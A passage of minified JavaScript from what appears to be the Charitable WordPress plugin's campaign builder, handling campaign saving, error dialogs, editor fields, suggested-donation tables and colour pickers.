newUrl=app.addCampaignIDToURL(campaignID);window.history.pushState({path:newUrl},"",newUrl)}else{window.location.href=app.addCampaignIDToURL(campaignID)}s.campaignID=campaignID;if(("draft"===currentPostStatus||""===currentPostStatus)&&"publish"===response.data.post_status&&response.data.permalink){CharitableCampaignCongratsWizard.openPopup(s.formID,response.data.permalink)}if("publish"===response.data.post_status){elements.$viewCampaignButton.removeClass("charitable-disabled");elements.$viewCampaignButton.attr("href",response.data.permalink);$("a.charitable-admin-campaign-link").attr("href",response.data.permalink);$("a.charitable-admin-campaign-link.show-url").html(response.data.permalink)}else{elements.$viewCampaignButton.addClass("charitable-disabled")}if("publish"===response.data.post_status){elements.$embedButton.prop("disabled",false).removeClass("charitable-disabled")}else{elements.$embedButton.prop("disabled",true).addClass("charitable-disabled")}s.formSavedStatus=response.data.post_status;s.formSavedStatusLabel=response.data.post_status_label;if(openNewTabURL!==""){window.open(openNewTabURL)}var campaignEmedCode="[campaign id=""+campaignID+""]";$("#charitable-admin-campaign-embed-wizard-shortcode-wrap #charitable-admin-campaign-embed-wizard-shortcode").remove();$("#charitable-admin-campaign-embed-wizard-shortcode-wrap").prepend('<input type="text" id="charitable-admin-campaign-embed-wizard-shortcode" class="charitable-admin-popup-shortcode" value="'+campaignEmedCode+'" />');$("#charitable-admin-campaign-embed-wizard-shortcode").prop("disabled",true);app.setCampaignTitleSet();return app.addCampaignIDToURL(campaignID)}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){$label.text(charitable_builder.saved);setTimeout(function(){$label.text(charitable_builder.save)},2500);$saveBtn.prop("disabled",false);$spinner.addClass("charitable-hidden");$icon.removeClass("charitable-hidden")})},formSaveError:function(error){if(wpchar.empty(error)){error=charitable_builder.error_save_form}$.confirm({title:charitable_builder.heads_up,content:"<p>"+error+"</p><p>"+charitable_builder.error_contact_support+"</p>",icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}})},formGenericError:function(error){if(wpchar.empty(error)){error=charitable_builder.something_went_wrong}$.confirm({title:charitable_builder.heads_up,content:"<p>"+error+"</p><p>"+charitable_builder.error_contact_support+"</p>",icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}})},formGenericNotice:function(error){if(wpchar.empty(error)){error=charitable_builder.something_went_wrong}$.confirm({title:charitable_builder.heads_up,content:"<p>"+error+"</p>",icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}})},addCampaignIDToURL:function(campaignID){const currentURL=window.location.href,urlHasQueryString=currentURL.includes("?");let updatedURL=false;if(urlHasQueryString){const queryString=window.location.search,campaignIDExists=queryString.includes("campaign_id");if(campaignIDExists){updatedURL=currentURL.split("#")[0];return updatedURL}else{updatedURL=currentURL.split("#")[0];return updatedURL+"&campaign_id="+campaignID}}else{return currentURL+"?campaign_id="+campaignID}},fieldTabToggle:function(id){const event=CharitableUtils.triggerEvent($builder,"charitableFieldTabToggle",[id]);if(event.isDefaultPrevented()){return false}$(".charitable-tab a").removeClass("active");$(".charitable-field, .charitable-preview-top-bar").removeClass("active");if(id==="add-layout"){$("#add-layout a").addClass("active");$(".charitable-field-options").hide();$(".charitable-add-fields").show()}else if(id==="layout-options"){$("#layout-options a").addClass("active");$(".charitable-add-fields").hide();$(".charitable-field-options").show()}else{$("#charitable-field-"+id).addClass("active");$(".charitable-field-option").hide();$("#charitable-field-option-"+id).show();$(".charitable-add-fields").hide();$(".charitable-field-options").show();$builder.trigger("charitableFieldOptionTabToggle",[id])}wpCookies.set("charitable_panel_content_section",id,2592e3);wpCookies.set("charitable_panel_active_field_id","",2592e3);wpCookies.set("charitable_panel_design_layout_options_group","",2592e3);wpCookies.set("charitable_panel_tab_section_tab_id","",2592e3)},formExit:function(){if(app.formIsSaved()){window.location.href=charitable_builder.exit_url}else{$.confirm({title:false,content:"<p>"+charitable_builder.exit_confirm+"</p>",icon:"fa fa-exclamation-circle",type:"orange",closeIcon:true,buttons:{confirm:{text:charitable_builder.save_exit,btnClass:"btn-confirm",keys:["enter"],action:function(){app.formSave(true)}},cancel:{text:charitable_builder.exit,keys:["esc"],action:function(){closeConfirmation=false;window.location.href=charitable_builder.exit_url}}}})}},checkFieldMax:function(type="",max=99){if(type.length===0){var fieldCount=elements.$preview.find(".charitable-field-"+type).length;if(fieldCount<max){elements.$panelDesign.find("button#charitable-add-fields-"+type).removeClass("charitable-disabled")}}else{elements.$preview.find(".charitable-field[data-field-max!='']").each(function(){var max=parseInt($(this).data("field-max")),fieldType=$(this).data("field-type"),fieldCount=typeof fieldType==="undefined"||fieldType.length===0?0:elements.$preview.find(".charitable-field-"+fieldType).length;if(!isNaN(max)&&max>0&&fieldCount>=max){elements.$panelDesign.find("button#charitable-add-fields-"+fieldType).addClass("charitable-disabled")}})}},checkFieldAllow:function(){wpchar.debug("checkFieldAllow");$.each(s.denyList,function(fieldPresent,fieldsNotAllowed){$.each(fieldsNotAllowed,function(fieldsNotAllowedName,fieldsNotAllowedAmount){app.enableAddFieldButton(fieldsNotAllowedName)})});$.each(s.denyList,function(fieldPresent,fieldsNotAllowed){wpchar.debug("fieldPresent: "+fieldPresent);if(app.checkFieldIsPresent(fieldPresent)){$.each(fieldsNotAllowed,function(fieldsNotAllowedName,fieldsNotAllowedAmount){if(fieldsNotAllowedAmount===0||app.getFieldAmount(fieldsNotAllowedName)>parseInt(fieldsNotAllowedAmount)){wpchar.debug(fieldsNotAllowedName+" is not allowed");app.disableAddFieldButton(fieldsNotAllowedName)}})}})},checkAllRecommendedFields:function(){$.each($(".charitable-add-fields-group-recommended button"),function(){var type=$(this).data("field-type");app.checkRecommendedFields(type)})},checkRecommendedFields:function(type=false){if(!type||type.length===0){return}var numberOfFieldsByType=elements.$preview.find(".charitable-field[data-field-type='"+type+"']").length,checkForRecommended=$builder.find("#charitable-add-fields-"+type).parent().find(".charitable-check");if(typeof checkForRecommended==="undefined"||checkForRecommended.length===0){return}if(numberOfFieldsByType===0){checkForRecommended.removeClass("checked").addClass("unchecked")}else{checkForRecommended.removeClass("unchecked").addClass("checked")}},disableAddFieldButton:function(fieldType){elements.$panelDesign.find("button#charitable-add-fields-"+fieldType).addClass("charitable-disabled")},enableAddFieldButton:function(fieldType=""){elements.$panelDesign.find("button#charitable-add-fields-"+fieldType).removeClass("charitable-disabled")},getFieldAmount:function(fieldType=""){if(fieldType.length===0){return}return elements.$preview.find(".charitable-field-"+fieldType).length},checkFieldIsPresent:function(fieldType=""){if(fieldType.length===0){return false}if(app.getFieldAmount(fieldType)>0){return true}return false},setCloseConfirmation:function(confirm){closeConfirmation=!!confirm},formIsSaved:function(){if($("#charitable-builder-form input#charitable-form-saved").val().length===0&&typeof s.formSaved!=="undefined"&&s.formSaved.length===0){return true}else{return false}},setCampaignTitleNotSet:function(){$(".charitable-edit-campaign-title-label").text("Name Your Campaign:")},setCampaignTitleSet:function(){$(".charitable-edit-campaign-title-label").text("Now Editing:")},setCampaignNotSaved:function(enablePreviewButton=false){var the_time=Date.now();$("#charitable-builder-form input#charitable-form-saved").val(the_time);s.formSaved=the_time;elements.$previewButton.removeClass("charitable-disabled")},setCampaignSaved:function(){$("#charitable-builder-form input#charitable-form-saved").val("");s.formSaved="";if(typeof s.formStatus!=="undefined"&&s.formStatus==="publish"){elements.$previewButton.addClass("charitable-disabled")}else{elements.$previewButton.removeClass("charitable-disabled")}},bindUIMoneyTextFields:function(){$builder.on("keydown","input#charitable-panel-field-settings-campaign_minimum_donation_amount, input#charitable-panel-field-settings-campaign_goal",function(e){var k=e.keyCode||e.which,ok=k==190||k==188||k==32||k==9||k==8||e.ctrlKey&&k==65||e.ctrlKey&&k==67||e.ctrlKey&&k==88||e.ctrlKey&&k==86||e.metaKey&&k==65||e.metaKey&&k==67||e.metaKey&&k==88||e.metaKey&&k==86||k>=96&&k<=105||(k==110||k==190)||k>=37&&k<=40||k==46||k>=48&&k<=57;if(!ok){e.preventDefault()}});$builder.on("focusout","input#charitable-panel-field-settings-campaign_minimum_donation_amount, input#charitable-panel-field-settings-campaign_maximum_donation_amount, input#charitable-panel-field-settings-campaign_goal",function(e){var $this=$(this),val=$this.val(),decimal_separator=charitable_builder.currency_decimal_separator,thousands_separator=charitable_builder.currency_thousands_separator;if(typeof decimal_separator==="undefined"||decimal_separator.length===0){return}if(typeof thousands_separator==="undefined"||thousands_separator.length===0){return}if(val.length>0&&val.indexOf(decimal_separator)===-1){$this.val(val+decimal_separator+"00")}})},bindUISettingsRevealGroups:function(){$.each(elements.$settingsPanel.find(".charitable-panel-fields-group.unfoldable"),function(){var $this=$(this),dataGroup=$this.attr("data-group"),dataGroupCookie=wpCookies.get("charitable_fold_"+dataGroup);if(dataGroupCookie==="true"&&!$this.hasClass("opened")){$this.addClass("opened");$this.find(".charitable-panel-fields-group-inner").show()}});elements.$settingsPanel.on("click",".charitable-track-cookie",function(e){var $this=$(this),dataGroup=$this.closest(".unfoldable").attr("data-group");if(!$this.closest(".unfoldable").hasClass("opened")){wpCookies.set("charitable_fold_"+dataGroup,true,2592e3)}else{wpCookies.remove("charitable_fold_"+dataGroup)}})},checkFieldConditionals:function(){$.each(charitable_campaign_builder_field_conditionals,function(mainUIKey,mainUIValue){var theUIElement=elements.$settingsPanel.find(mainUIKey),changeArray=mainUIValue;if(theUIElement.is('input[type="checkbox"]')){elements.$settingsPanel.on("click",mainUIKey,function(e){var thisUIElement=$(this),isChecked=$(this).is(":checked"),checkedFields=changeArray["checked"],uncheckedFields=changeArray["unchecked"];if(isChecked){$.each(checkedFields,function(checkedFieldKey,checkedFieldValue){elements.$settingsPanel.find(checkedFieldValue+"").removeClass("charitable-hidden")})}else{$.each(uncheckedFields,function(checkedFieldKey,checkedFieldValue){$.each(checkedFieldValue,function(hidingfieldKey,hidingfieldValue){elements.$settingsPanel.find(hidingfieldValue+"").addClass("charitable-hidden")})})}})}if(theUIElement.is('input[type="radio"]')){elements.$settingsPanel.on("click",theUIElement.closest(".charitable-panel-field-radio-options").find('input[type="radio"]'),function(e){var thisUIElement=$(theUIElement),isChecked=thisUIElement.is(":checked"),checkedFields=changeArray["checked"],uncheckedFields=changeArray["unchecked"],abort=false;if(isChecked){$.each(checkedFields,function(checkedFieldKey,checkedFieldValue){if(checkedFieldKey==="if"){$.each(checkedFieldValue,function(checkedIfFieldKey,checkedIfFieldValue){if(checkedIfFieldValue==="checked"&&false===elements.$settingsPanel.find(checkedIfFieldKey+"").is(":checked")){abort=true}})}if(checkedFieldKey==="show"&&abort===false){elements.$settingsPanel.find(checkedFieldValue+"").removeClass("charitable-hidden")}else if(checkedFieldKey==="show"&&abort===true){elements.$settingsPanel.find(checkedFieldValue+"").addClass("charitable-hidden")}})}else{$.each(uncheckedFields,function(checkedFieldKey,checkedFieldValue){elements.$settingsPanel.find(checkedFieldValue+"").addClass("charitable-hidden")})}})}})},isBuilderInPopup:function(){return window.self!==window.parent&&window.self.frameElement.id==="charitable-builder-iframe"},bindUIActionsGeneral:function(){$builder.on("click",".charitable-panel-fields-group.unfoldable .charitable-panel-fields-group-title",app.toggleUnfoldableGroup);$builder.on("click",".go-to-settings-button",function(e){e.preventDefault();app.panelSwitch("settings");var $this=$(this),section=$this.data("settings-section"),$panel=$(".charitable-panel-sidebar-content"),$sectionButtons=$panel.find(".charitable-panel-sidebar-section"),$sectionButton=$panel.find(".charitable-panel-sidebar-section-"+section),cookieName="charitable_panel_sidebar_section";if(!$sectionButton.hasClass("active")){app.panelSectionSwitchTo(section,$panel,$sectionButtons,$sectionButton);wpCookies.set(cookieName,section,2592e3)}});$builder.on("click","#charitable-builder-mobile-notice .charitable-fullscreen-notice-button-primary, #charitable-builder-mobile-notice .close",function(){window.location.href=charitable_builder.exit_url});$builder.on("click","#charitable-builder-mobile-notice .charitable-fullscreen-notice-button-secondary",function(){window.location.href=wpchar.updateQueryString("force_desktop_view",1,window.location.href)})},initFeedbackForms:function($element){var theForm=$element.closest(".charitable-form"),theConfirmation=theForm.find(".charitable-feedback-form-interior-confirmation"),data={name:theForm.find(".charitable-feedback-form-name").val(),email:theForm.find(".charitable-feedback-form-email").val(),feedback:theForm.find(".charitable-feedback-form-feedback").val(),type:theForm.find(".charitable-feedback-form-type").val()};if(""===data.name||""===data.email||""===data.feedback){$.alert({title:false,content:charitable_builder.feedback_form_fields_required,icon:"fa fa-info-circle",type:"red",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["esc"],action:function(){}}}})}else{$element.addClass("charitable-disabled");theForm.addClass("charitable-processing");theForm.find(".charitable-loading-spinner").removeClass("charitable-hidden");var ajaxData={action:"charitable_campaign_builder_send_feedback_ajax",dataType:"json",data:data,nonce:charitable_builder.nonce};$.post(charitable_builder.ajax_url,ajaxData,function(response){if(response.success){$element.removeClass("charitable-disabled");theForm.removeClass("charitable-processing");theForm.find(".charitable-feedback-form-interior").addClass("charitable-hidden");theConfirmation.removeClass("charitable-hidden");theConfirmation.find(".charitable-form-confirmation").removeClass("charitable-hidden")}}).fail(function(xhr,textStatus,e){}).always(function(){})}},toggleUnfoldableGroup:function(e){e.preventDefault();var $title=$(e.target),$group=$title.closest(".charitable-panel-fields-group"),$inner=$group.find(".charitable-panel-fields-group-inner"),cookieName="charitable_fields_group_"+$group.data("group");if($group.hasClass("opened")){wpCookies.remove(cookieName);$inner.stop().slideUp(150,function(){$group.removeClass("opened")})}else{wpCookies.set(cookieName,"true",2592e3);$group.addClass("opened");$inner.stop().slideDown(150)}},updateDebugWindow:function(data,campaignID=0){var ajaxData={action:"charitable_update_debug_window_ajax",dataType:"json",data:data,id:campaignID,nonce:charitable_builder.nonce};$.post(charitable_builder.ajax_url,ajaxData,function(response){if(response.success){$(".charitable-debug").html(response.data)}}).fail(function(xhr,textStatus,e){}).always(function(){})},dismissNotice:function(){$builder.on("click",".charitable-alert-field-not-available .charitable-dismiss-button",function(e){e.preventDefault();var $button=$(this),$alert=$button.closest(".charitable-alert"),fieldId=$button.data("field-id");$alert.addClass("out");setTimeout(function(){$alert.remove()},250);if(fieldId){$("#charitable-field-option-"+fieldId).remove()}})},initHTMLEditorFields:function($element,minmum=false){if($.inArray($element.attr("id"),s.quilled)==-1){var $container_id="#"+$element.attr("id"),div_height=200,textarea_name=$element.data("textarea-name");if(minmum!==false){var toolbarOptions=["bold","italic","underline","strike"];var quill=new Quill($container_id,{debug:"info",theme:"snow",modules:{toolbar:toolbarOptions}});$($container_id).css("height",div_height+"px");$($container_id).css("min-height",div_height+"px");quill.focus;s.quilled.push($element.attr("id"))}else{var quill=new Quill($container_id,{theme:"snow"});quill.focus;s.quilled.push($element.attr("id"))}$($container_id).on("focus",".ql-editor",function(){var contents=$element.find(".ql-editor").html();if($element.closest(".charitable-panel-field-textarea").attr("data-special-type")==="campaign_description"){$("#charitable-panel-field-settings-campaign_description .ql-editor").html(contents);elements.$preview.find(".charitable-field-campaign-description .charitable-campaign-builder-placeholder-preview-text").html("<div>"+contents+"</div>");s.campaignDescription=contents}});quill.on("text-change",function(delta,oldDelta,source){var contents=$element.find(".ql-editor").html(),tab_id=$element.closest(".charitable-group-row").data("tab-id"),field_id=$element.closest(".charitable-panel-field").data("field-id");app.setCampaignNotSaved();$('input[name="'+textarea_name+'"]').val(contents);if($element.closest(".charitable-panel-field-textarea").attr("data-special-type")==="campaign_description"){if($.trim(app.removeTags(contents))===""){elements.$preview.find(".charitable-campaign-builder-no-description-preview").removeClass("charitable-hidden");elements.$preview.find(".charitable-field-campaign-description .charitable-campaign-builder-placeholder-preview-text").html("<div></div>");s.campaignDescription=""}else{elements.$preview.find(".charitable-field-campaign-description .charitable-campaign-builder-placeholder-preview-text").html("<div>"+contents+"</div>");s.campaignDescription=contents}$("#charitable-panel-field-settings-campaign_description .ql-editor").html(contents)}if($element.closest(".charitable-panel-field-textarea").attr("data-special-type")==="campaign_overview"){if($.trim(app.removeTags(contents))===""){elements.$preview.find(".charitable-campaign-builder-no-overview-preview").removeClass("charitable-hidden");elements.$preview.find(".charitable-field-campaign-overview .charitable-campaign-builder-placeholder-preview-text").html("<div></div>");s.campaignDescription=""}else{elements.$preview.find(".charitable-field-campaign-overview .charitable-campaign-builder-placeholder-preview-text").html("<div>"+contents+"</div>");s.campaignDescription=contents}$("#charitable-panel-field-settings-campaign_overview .ql-editor").html(contents)}if($element.closest(".charitable-panel-field-textarea").attr("data-special-type")==="organizer_content"){field_id=parseInt($element.closest(".charitable-panel-field-textarea").data("field-id"));if($.trim(app.removeTags(contents))===""){elements.$preview.find("#charitable-field-"+field_id+" .charitable-organizer-description").html("<div></div>")}else{elements.$preview.find("#charitable-field-"+field_id+" .charitable-organizer-description").html("<div>"+contents+"</div>")}}if($element.closest(".charitable-panel-field-textarea").attr("data-special-type")==="text"){field_id=parseInt($element.closest(".charitable-panel-field-textarea").data("field-id"));if($.trim(app.removeTags(contents))===""){elements.$preview.find("#charitable-field-"+field_id+" .charitable-campaign-builder-placeholder-preview-text").html("<div></div>")}else{elements.$preview.find("#charitable-field-"+field_id+" .charitable-campaign-builder-placeholder-preview-text").html("<div>"+contents+"</div>")}}if(minmum!==false){var div_height=parseInt($element.find(".ql-editor").height()/2);$("#tab_"+tab_id+"_content .placeholder.big").css("min-height",div_height+"px")}})}else{}},initSuggestedDonations:function($element){wpchar.debug($element,"initSuggestedDonations");var $table=$element.closest(".charitable-campaign-suggested-donations"),$add_row_button=$element.find("[data-charitable-add-row]"),donation_type=$add_row_button.data("charitable-add-row"),$delete_row_button=$element.find(".charitable-delete-row");$add_row_button.on("click",function(event){event.preventDefault();event.stopImmediatePropagation();var type=$(this).data("charitable-add-row");if("suggested-amount"===type){app.add_suggested_amount_row($(this))}else if("suggested-recurring-amount"===type){app.add_suggested_amount_row($(this),"recurring")}app.initSuggestedDonations($element);return false});$delete_row_button.on("click",function(event){event.preventDefault();event.stopImmediatePropagation();var donation_type=$(this).closest(".charitable-campaign-suggested-donations").find("[data-charitable-add-row]").data("charitable-add-row");if("suggested-amount"===donation_type){app.delete_suggested_amount_row($(this))}else if("suggested-recurring-amount"===donation_type){app.delete_suggested_amount_row($(this),"recurring")}app.initSuggestedDonations($element);return false});$(".charitable-campaign-suggested-donations tbody").sortable({items:"tr:not(.to-copy)",handle:".handle",stop:function(event,ui){app.reindex_rows();$(".charitable-campaign-suggested-donations-mini").each(function(){app.updateSuggestdDonationsMiniRowsFromSettings($(this));app.redrawDonationAmountsPreview($(this))})}});$table.on("click","th.default_amount-col a, a.charitable-clear-defaults",function(){$table.find(".default_amount-col input").prop("checked",false);$(this).blur();return false});$table.on("change",'input[type="radio"]',function(){app.redrawDonationAmountsPreview($table)})},updateSuggestdDonationsMiniRowsFromSettings:function($element,field_id=0){if(0===field_id){field_id=$element.closest(".charitable-panel-field").data("field-id")}$element.find("tbody").children("tr").not(".to-copy").remove();$("#campaign_donation_amounts tbody").children("tr").not(".no-suggested-amounts").not(".to-copy").each(function(index){var row_to_add="",updatedIndex=index+1,updatedDonationValue=$(this).find(".amount-col input").val(),isChecked=$(this).find(".default_amount-col input").is(":checked")?"checked":"";row_to_add=row_to_add+'<tr class="" data-index="'+updatedIndex+'">';row_to_add=row_to_add+'<td class="reorder-col"><span class="charitable-icon charitable-icon-donations-grab handle ui-sortable-handle"></span></td>';row_to_add=row_to_add+'<td class="default_amount-col"><input '+isChecked+' type="radio" class="campaign_suggested_donations" name="_fields]['+field_id+'][donation_amounts][campaign_suggested_donations_default][]" value="'+updatedIndex+'"></td>';row_to_add=row_to_add+'<td class="amount-col"><input autocomplete="false" type="text" class="campaign_suggested_donations" name="_fields]['+field_id+"][donation_amounts]["+updatedIndex+'][amount]" value="'+updatedDonationValue+'" placeholder="Amount"></td>';row_to_add=row_to_add+'<td class="description-col"><input type="text" class="campaign_suggested_donations" name="_fields]['+field_id+"][donation_amounts]["+updatedIndex+'][description]" value="This is a small donation." placeholder="Optional Description">';row_to_add=row_to_add+"</td>";row_to_add=row_to_add+'<td class="remove-col"><span class="dashicons-before dashicons-dismiss charitable-delete-row"></span></td>';row_to_add=row_to_add+"</tr>";$element.find("tbody").append(row_to_add)});return $element},updateSuggestdDonationsRowsFromSettings:function($miniTableTBody,$element){if(typeof $element==="undefined"||$element.length===0){$element=$("#campaign_donation_amounts")}$element.find("tbody").children("tr").not(".to-copy").remove();$miniTableTBody.children("tr").not(".no-suggested-amounts").not(".to-copy").each(function(index){var row_to_add="",updatedIndex=index+1,updatedDonationValue=$(this).find(".amount-col input").val(),isChecked=$(this).find(".default_amount-col input").is(":checked")?"checked":"";row_to_add=row_to_add+'<tr class="" data-index="'+updatedIndex+'">';row_to_add=row_to_add+'<td class="reorder-col"><span class="charitable-icon charitable-icon-donations-grab handle ui-sortable-handle"></span></td>';row_to_add=row_to_add+'<td class="default_amount-col"><input '+isChecked+' type="radio" class="campaign_suggested_donations" name="settings][donation-options][donation_amounts][campaign_suggested_donations_default][]" value="'+updatedIndex+'">';row_to_add=row_to_add+'<td class="amount-col"><input autocomplete="off" type="text" class="campaign_suggested_donations" name="settings][donation-options][donation_amounts]['+updatedIndex+'][amount]" value="'+updatedDonationValue+'" placeholder="Amount">';row_to_add=row_to_add+'<td class="description-col"><input type="text" class="campaign_suggested_donations" name="settings][donation-options][donation_amounts]['+updatedIndex+'][description]" value="This is a small donation." placeholder="Optional Description">';row_to_add=row_to_add+"</td>";row_to_add=row_to_add+'<td class="remove-col"><span class="dashicons-before dashicons-dismiss charitable-delete-row"></span></td>';row_to_add=row_to_add+"</tr>";$element.find("tbody").append(row_to_add)});return $element},initSuggestedDonationsMini:function($element){wpchar.debug($element,"initSuggestedDonationsMini");wpchar.debug("initSuggestedDonationsMini");var field_id=$element.closest(".charitable-panel-field").data("field-id");wpchar.debug($element,"initSuggestedDonationsMini");app.updateSuggestdDonationsMiniRowsFromSettings($element,field_id);wpchar.debug($element,"initSuggestedDonationsMini2");app.redrawDonationAmountsPreview($element);wpchar.debug($element,"initSuggestedDonationsMini3");var $table=$element.closest(".charitable-campaign-suggested-donations-mini"),$add_row_button=$element.find("[data-charitable-add-row]");$add_row_button.on("click",function(){var type=$(this).data("charitable-add-row");if("suggested-amount"===type){wpchar.debug("type is suggesetd amount");wpchar.debug($(this));app.add_suggested_amount_row($(this),"mini")}return false});$(".charitable-campaign-suggested-donations-mini tbody").sortable({items:"tr:not(.to-copy)",handle:".handle",stop:function(event,ui){wpchar.debug("sortable test mini ");app.reindex_rows("mini");app.updateSuggestdDonationsRowsFromSettings($(this));app.redrawDonationAmountsPreview($(this).parent())}});$table.on("click",".charitable-delete-row",function(){app.delete_suggested_amount_row($(this),"mini");return false});$table.on("click","th.default_amount-col a",function(){$table.find(".default_amount-col input").prop("checked",false);$(this).blur();return false});$table.on("change",'input[type="radio"]',function(){app.redrawDonationAmountsPreview($table);var radioButtonValue=$(this).val();$builder.find(".charitable-campaign-suggested-donations-table").find('input[type="radio"]').prop("checked",false);$builder.find(".charitable-campaign-suggested-donations-table").each(function(){$(this).find('input[type="radio"][value="'+radioButtonValue+'"]').prop("checked",true)})})},add_suggested_amount_row:function($button,type=""){wpchar.debug("add_suggested_amount_row");wpchar.debug(".charitable-campaign-suggested-donations"+type);const $donations_table=type==="recurring"?$builder.find(".charitable-campaign-suggested-recurring-donations-table"):$builder.find(".charitable-campaign-suggested-donations-table");$donations_table.each(function(){wpchar.debug($(this));var $table=$(this).closest("table").find("tbody"),$clone=$table.find("tr.to-copy").clone().removeClass("to-copy hidden");var newIndex=$table.find("tr:not(.to-copy)").length+1;$clone.attr("data-index",newIndex);var inputFieldName=$clone.find('.amount-col input[type="text"].campaign_suggested_donations').attr("name"),newInputFieldName=inputFieldName.replace("[0]","["+newIndex+"]"),inputFieldNameDescription=$clone.find('.description-col input[type="text"].campaign_suggested_donations').attr("name"),newInputFieldNameDescription=inputFieldNameDescription.replace("[0]","["+newIndex+"]");wpchar.debug($clone.find('.amount-col input[type="text"].campaign_suggested_donations'));wpchar.debug($clone.find('.amount-col input[type="text"].campaign_suggested_donations').attr("name"));$clone.find('.amount-col input[type="text"].campaign_suggested_donations').attr("name",newInputFieldName);$clone.find('.description-col input[type="text"].campaign_suggested_donations').attr("name",newInputFieldNameDescription);$clone.find('.default_amount-col input[type="radio"]').val(newIndex);wpchar.debug($table,"table");wpchar.debug($clone,"clone");$table.find(".no-suggested-amounts").hide();$table.append($clone);$clone.on("click",".charitable-delete-row",function(){app.delete_suggested_amount_row($(this),type);return false})});app.redrawDonationAmountsPreview($builder.find(".charitable-campaign-suggested-donations-table").first());app.reindex_rows(type);if(type===""){app.toggle_custom_donations_checkbox()}},delete_suggested_amount_row:function($button,type=""){wpchar.debug("delete_suggested_amount_row");wpchar.debug($button);wpchar.debug(type);var $row_to_delete=$button.closest("tr "),row_to_delete_index=parseInt($row_to_delete.attr("data-index"));wpchar.debug($row_to_delete);wpchar.debug(row_to_delete_index,"row_to_delete_index");const $donations_table=type==="recurring"?$builder.find(".charitable-campaign-suggested-recurring-donations-table"):$builder.find(".charitable-campaign-suggested-donations-table"),donations_table_class=type==="recurring"?".charitable-campaign-suggested-recurring-donations-table":".charitable-campaign-suggested-donations-table";if(row_to_delete_index>0){wpchar.debug($donations_table.find(' tbody tr[data-index="'+row_to_delete_index+'"]'));wpchar.debug(donations_table_class+' tbody tr[data-index="'+row_to_delete_index+'"]');$donations_table.find(' tbody tr[data-index="'+row_to_delete_index+'"]').remove()}app.redrawDonationAmountsPreview($builder.find(".charitable-campaign-suggested-donations-table").first());var $table=$button.closest("table").find("tbody");if($table.find("tr:not(.to-copy)").length==1){$table.find(".no-suggested-amounts").removeClass("hidden").show()}app.reindex_rows(type);if(type===""){app.reindex_rows("mini")}else if(type==="mini"){app.reindex_rows()}if(type===""){app.toggle_custom_donations_checkbox()}},reindex_rows:function(type=""){wpchar.debug("reindex rows with type: "+type);if(type!==""){type="-"+type}$(".charitable-campaign-suggested-donations"+type+" tbody").each(function(){$(this).children("tr").not(".no-suggested-amounts .to-copy").each(function(index){$(this).find('input[type="radio"]').val(index);$(this).attr("data-index",index);$(this).find("input").each(function(i){this.name=this.name.replace(/(\[\d\])/,"["+index+"]")})})})},redrawDonationAmountsPreview:function(targetTable){elements.$preview.find("ul.charitable-preview-donation-amounts").each(function(index){var $theDontionAmountsList=$(this);$theDontionAmountsList.find("li").remove();$(targetTable).find("tbody").children("tr").not(".no-suggested-amounts").not(".to-copy").not("hidden").each(function(index){var theInputTextValue=$(this).find('input[type="text"].campaign_suggested_donations').first().val();var selected="";wpchar.debug($(this).find('input[type="radio"]'));if($(this).find('input[type="radio"]').is(":checked")){selected=" selected"}$theDontionAmountsList.append('<li class="charitable-preview-donation-amount suggested-donation-amount'+selected+'"><label><input type="radio" name="donation_amount" value="'+index+'"><span class="amount">'+theInputTextValue+"</span></label></li>")});if($("#charitable-panel-field-settings-campaign_allow_custom_donations").is(":checked")){$theDontionAmountsList.append('<li class="charitable-preview-donation-amount custom-donation-amount "><span class="custom-donation-amount-wrapper"><label><input type="radio" name="donation_amount" value="custom"><span class="description">Custom amount</span></label><input type="text" disabled=""true"" class="custom-donation-input" name="custom_donation_amount" placeholder="Custom Donation Amount" value=""></span></li>')}})},toggle_custom_donations_checkbox:function(){var $custom=$("#campaign_allow_custom_donations"),$suggestions=$(".charitable-campaign-suggested-donations tbody tr:not(.to-copy)"),has_suggestions=$suggestions.length>1||false===$suggestions.first().hasClass("no-suggested-amounts");$custom.prop("disabled",!has_suggestions);if(!has_suggestions){$custom.prop("checked",true)}},initTagField:function($element){$element.select2()},initColorPicker:function(){Coloris({el:".coloris"});Coloris.setInstance(".instance2.primary",{defaultColor:s.primaryThemeColor,onChange:function(color){if(""===color){$('input[name="layout__advanced__theme_color_primary"]').val(s.primaryThemeColorBase);s.primaryThemeColor=s.primaryThemeColorBase;document.querySelector('input[name="layout__advanced__theme_color_primary"]').dispatchEvent(new Event("input",{bubbles:true}))}else{s.primaryThemeColor=color}app.updateThemeCSS("primary",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true)},theme:"polaroid",themeMode:"light",alpha:false,formatToggle:true,closeButton:true,clearButton:true,clearLabel:"Reset",swatches:["#067bc2","#84bcda","#80e377","#ecc30b","#f37748","#d56062"]});Coloris.setInstance(".instance2.secondary",{defaultColor:s.secondaryThemeColor,onChange:function(color){if(""===color){$('input[name="layout__advanced__theme_color_secondary"]').val(s.secondaryThemeColorBase);s.secondaryThemeColor=s.secondaryThemeColorBase;app.updateThemeCSS("secondary",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true);document.querySelector('input[name="layout__advanced__theme_color_secondary"]').dispatchEvent(new 